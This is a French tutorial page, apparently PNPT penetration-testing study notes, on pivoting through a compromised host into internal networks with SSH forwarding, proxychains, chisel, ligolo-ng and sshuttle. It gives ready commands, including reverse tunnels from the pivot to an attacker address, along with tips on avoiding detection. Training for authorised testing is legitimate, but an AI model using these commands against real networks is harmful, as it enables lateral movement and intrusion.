Pivoting & Tunneling (PNPT)
Le pivoting, c’est l’art d’utiliser une machine compromise pour atteindre un réseau qu’on ne pouvait pas voir depuis l’extérieur. Sur un engagement, le premier accès est rarement la cible — il faut traverser des DMZ, des sous-réseaux internes, des segments isolés. Bien maîtriser ses tunnels, c’est ce qui permet de continuer à attaquer profondément.
Le scénario type§
ATTAQUANT CIBLE FINALE
10.0.0.100 10.10.10.5
│ ▲
│ │
▼ │
┌─────────┐ ┌──────────┐ ┌───────────────┘
│ Internet │ ────► │ DMZ │ ────► │ Réseau interne
└─────────┘ │ Web app │ │ (invisible de
│ 1.2.3.4 │ │ l'extérieur)
│ pivot │ │
└──────────┘ │
│ │
▲ │
│ │
Shell obtenu via │
l'exploit web │
Sans pivoting, on est bloqué sur le pivot. Avec, ton Kali envoie des paquets dans le réseau interne comme si tu y étais branché.
Trois familles de techniques§
Pivoting / Tunneling
│
┌─────────────────┼─────────────────┐
▼ ▼ ▼
Port forwarding SOCKS proxy VPN-like tunnel
(un port à la fois) (tout port) (route IP complète)
│ │ │
ssh -L ssh -D Ligolo-ng
ssh -R chisel R:socks sshuttle
chisel local-fw proxychains
Le choix dépend du contexte : un seul service à atteindre → port forward. Tout un sous-réseau à scanner → SOCKS ou VPN-like.
SSH Tunneling§
Si SSH est utilisable sur le pivot, c’est l’outil de choix : déjà présent, chiffré, discret.
Local port forwarding (-L)§
“Expose un port distant sur ma machine locale.”
Attaquant Pivot Cible interne
10.10.10.5:80
localhost:8080 ──── tunnel SSH ────► user@pivot ──────►
▲ │
│ │
└──────────────────── réponse ─────────────────────────────┘
ssh -L 8080:10.10.10.5:80 user@pivot
# Sur ta machine
curl http://localhost:8080 # → arrive sur 10.10.10.5:80 via le pivot
Remote port forwarding (-R)§
“Expose un port local sur le pivot.” Utile quand le pivot peut atteindre l’attaquant mais l’inverse ferait franchir un firewall.
# Sur l'attaquant
ssh -R 4444:localhost:4444 user@pivot
# Sur le pivot, n'importe qui peut se connecter à pivot:4444 → reverse vers ton :4444
Dynamic SOCKS proxy (-D)§
Le plus puissant — un proxy SOCKS5 sur ta machine, et tout ce qui passe par lui sort par le pivot.
ssh -D 9050 user@pivot
# Configurer proxychains
sudo nano /etc/proxychains4.conf
# Ajouter : socks5 127.0.0.1 9050
# Tout outil routé via le pivot
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains evil-winrm -i 10.10.10.5 -u user -p pass
proxychains curl http://10.10.10.5
Limite SOCKS : pas d’ICMP. Donc pas de ping, pas de scan -sn nmap. Toujours -sT -Pn à travers proxychains.
Chisel§
Quand SSH n’est pas dispo (Windows sans OpenSSH, restrictions firewall), Chisel fait passer un tunnel sur HTTP/WebSocket. Binaire unique, multi-plateforme.
# Sur l'attaquant (serveur)
./chisel server --reverse -p 8000
# Sur le pivot (client) — créer un SOCKS proxy reverse
./chisel client 10.0.0.100:8000 R:1080:socks
# → SOCKS sur ton localhost:1080
# Sur le pivot — port forward classique
./chisel client 10.0.0.100:8000 R:8080:10.10.10.5:80
# → ton localhost:8080 = 10.10.10.5:80
R: = reverse (le pivot vient vers toi, contourne firewall sortant moins strict).
Ligolo-ng§
Le pivoting moderne le plus pratique : crée une vraie interface réseau virtuelle sur l’attaquant. Pas de proxychains, pas de SOCKS — tu utilises tes outils normalement.
# Sur l'attaquant — setup initial (une fois)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Lancer le serveur
./proxy -selfcert
# Sur le pivot
./agent -connect 10.0.0.100:11601 -ignore-cert
# Dans l'interface proxy
session # sélectionner la session
ifconfig # voir les interfaces du pivot
sudo ip route add 10.10.10.0/24 dev ligolo # router le sous-réseau interne via ligolo
start # démarrer le tunnel
# Maintenant tes outils marchent normalement
nmap 10.10.10.0/24
evil-winrm -i 10.10.10.5 -u user -p pass
Avantage majeur : ICMP fonctionne, tu peux pinger, scanner -sn, faire du UDP — exactement comme si tu étais sur le réseau.
sshuttle§
Le pivoting “lazy” pour quand SSH est dispo. Une commande, et tout le trafic vers un sous-réseau passe par le pivot.
sshuttle -r user@pivot 10.10.10.0/24
# Maintenant
nmap 10.10.10.5
ssh [email protected]
Limite : nécessite Python sur le pivot, et root sur ta machine (pour modifier la table de routage).
Tableau de décision§
| Situation | Outil recommandé |
|---|---|
| SSH dispo, un seul port à atteindre | ssh -L |
| SSH dispo, plusieurs ports / scan complet | sshuttle ou ssh -D |
| Pas de SSH, Windows | chisel R:socks |
| Besoin de scan ICMP, UDP, performance | Ligolo-ng |
| Tunnel inverse (firewall sortant strict) | -R ou Chisel reverse |
Pièges courants§
- Proxychains ne fait pas ICMP :
proxychains pingéchoue. Utiliser-sT -Pnsur nmap, ou passer à Ligolo. - DNS leak : par défaut, proxychains fait les résolutions DNS localement → tes requêtes DNS révèlent qui tu cibles. Activer
proxy_dnsdans la config. - Performance : SOCKS sur SSH est lent. Pour des scans massifs, Ligolo ou sshuttle sont bien meilleurs.
- Chisel binaire est gros (~10 Mo) — peut être détecté lors du dépôt. Préférer un transfert SMB ou exécution en mémoire.
- Tunnel qui meurt sans warning : si le pivot perd la connexion, tes outils plantent silencieusement. Toujours vérifier le tunnel avant un long scan (
ss -tn | grep <port>). - Pivot oublié : à la fin de l’engagement, tuer le tunnel et nettoyer les fichiers déposés sur le pivot — sinon c’est une backdoor laissée en place.